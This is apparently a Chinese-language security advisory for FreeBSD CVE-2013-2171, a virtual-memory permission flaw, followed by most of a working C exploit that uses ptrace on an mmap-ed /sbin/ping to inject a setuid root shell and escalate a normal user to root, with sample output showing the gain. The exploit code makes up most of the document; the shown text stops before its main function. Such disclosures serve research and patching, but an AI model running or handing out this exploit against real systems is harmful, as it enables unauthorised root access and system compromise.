发布日期:2013-06-18
更新日期:2013-07-04
受影响系统:
FreeBSD FreeBSD >= 9.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 60615
CVE(CAN) ID: CVE-2013-2171
FreeBSD是一种UNIX操作系统,是由经过BSD、386BSD和4.4BSD发展而来的Unix的一个重要分支。
FreeBSD 9.0及其他版本的虚拟内存系统对权限检查不充分,注入debugger之类的跟踪进程可在未授权情况下修改被跟踪进程的地址空间,覆盖内核内存,造成权限提升或系统崩溃。
<*来源:Konstantin Belousov
链接::06.mmap.asc
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/**
* FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox)
*
* tested on FreeBSD 9.1
* ref: :06.mmap.asc
*
* @_hugsy_
*
* Syntax :
$ id
uid=1001(user) gid=1001(user) groups=1001(user)
$ gcc -Wall ./mmap.c && ./a.out
[+] Saved old '/sbin/ping'
[+] Using mmap-ed area at 0x281a4000
[+] Attached to 3404
[+] Copied 4917 bytes of payload to '/sbin/ping'
[+] Triggering payload
# id
uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel)
*
* Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand
*
*/
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#define LEN 1000*getpagesize()
#define TARGET "/sbin/ping" // will lose its SUID bit on restore, must be restored by hand
void kaboom(int pid, caddr_t addr)
{
int nb, i, a, fd, n;
char buf[60000] = {0,};
a = i = 0;
fd = open(TARGET, O_RDONLY);
nb = read(fd, buf, 60000);
close(fd);
printf("[+] Saved old '%s'\n", TARGET);
printf("[+] Using mmap-ed area at %p\n", addr);
if (ptrace(PT_ATTACH, pid, 0, 0) < 0) {
perror("[-] ptrace(PT_ATTACH) failed");
return;
}
printf("[+] Attached to %d\n", pid);
wait(NULL);
fd = open("./sc.c", O_WRONLY|O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH);
write(fd, "#include <stdio.h>\nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84);
close(fd);
if (system("gcc -o ./sc ./sc.c") != 0) {
perror("[-] gcc");
return;
}
fd = open("./sc", O_RDONLY);
while (1) {
int a;
int n = read(fd, &a, sizeof(int));
if (n <= 0)
break;
if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) {
perror("[-] ptrace(PT_WRITE_D) failed");
return;
}
i+=n;
}
close(fd);
printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET);
printf("[+] Triggering payload\n");
system(TARGET);
printf("[+] Restoring '%s'\n", TARGET);
for (n=0, i=0; n<nb; n++) {
if (ptrace(PT_WRITE_D, pid, addr+n, *(buf+n)) < 0) {
perror("[-] ptrace(PT_WRITE_D) failed");
return;
}
}
ptrace(PT_DETACH, pid, 0, 0);
printf("[+] Done\n");
return;
}
void dummy(int fd, caddr_t addr)
{
sleep(1);
munmap(addr, LEN);
close(fd);
return;
}